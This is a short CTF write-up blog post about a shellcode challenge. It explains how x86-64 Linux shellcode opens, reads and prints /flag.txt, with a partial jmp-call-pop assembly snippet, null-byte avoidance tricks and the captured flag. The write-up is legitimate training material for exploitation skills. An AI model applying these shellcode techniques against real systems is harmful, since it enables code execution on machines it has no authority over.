1337 Local CTF: shellcode — open/read/write /flag.txt
150 words
1 minute
1337 Local CTF: shellcode — open/read/write /flag.txt
shellcode
Challenge Context
The service accepted raw shellcode and executed it. The goal was to read /flag.txt and write it to stdout.
Core Idea
Use standard x86-64 Linux syscalls:
open("/flag.txt", O_RDONLY)read(fd, stack, 0x100)write(1, stack, n)exit(0)The main engineering constraint was avoiding bad bytes in the code section.
Exploitation
The shellcode used the jmp-call-pop pattern so the path string could live inline without hardcoded addresses:
jmp string_loadermain: pop rdi ; rdi -> "/flag.txt" xor esi, esi ; flags = O_RDONLY mov al, 2 ; SYS_open syscall ... read/write ...string_loader: call main db "/flag.txt", 0Null-byte avoidance tricks:
xor reg, reginstead ofmov reg, 0mov dh, 1instead ofmov rdx, 0x100inc rdiinstead ofmov rdi, 1- keep the string terminator in data, not as an immediate in code
Flag
Leet{5h3llc0d3_15_4w350m3}Lesson Learned
For shellcode challenges, the syscall sequence is usually simple. The real work is byte-level engineering: address independence, bad-byte avoidance, and knowing exactly how input is terminated.
Cover: Wallhaven w5m62x.
Share Article
If this article helped you, please share it with others!
1337 Local CTF: shellcode — open/read/write /flag.txt
https://achux21.github.io/posts/1337-local-ctf-shellcode/ 1337 Local CTF: ret2win — Token Validation → Return Address Control
1337 Local CTF: tbarkallah 3lek awldi katchfi lghalil — Rev First Blood
Related Posts Smart
1
1337 Local CTF: baby overflow — Integer Overflow
CTF Using an 8-bit integer wraparound to satisfy a numeric check.
2
1337 Local CTF: ret2win — Token Validation → Return Address Control
CTF Building a valid token, overflowing an 80-byte stack buffer, and returning into win().
3
1337 Local CTF: Notebook — Smarty SSTI → WAF Bypass → File Read
CTF Exploiting Smarty template injection and bypassing a substring WAF with string concatenation.
4
1337 Local CTF: July pool 2024 — Dangling Git Commits
CTF Recovering a split flag from unreachable Git objects inside a piscine project archive.
5
1337 Local CTF: numbA thiri — CRT Reconstruction
CTF Recovering the flag integer from residues modulo small primes and a quotient.
Random Posts Random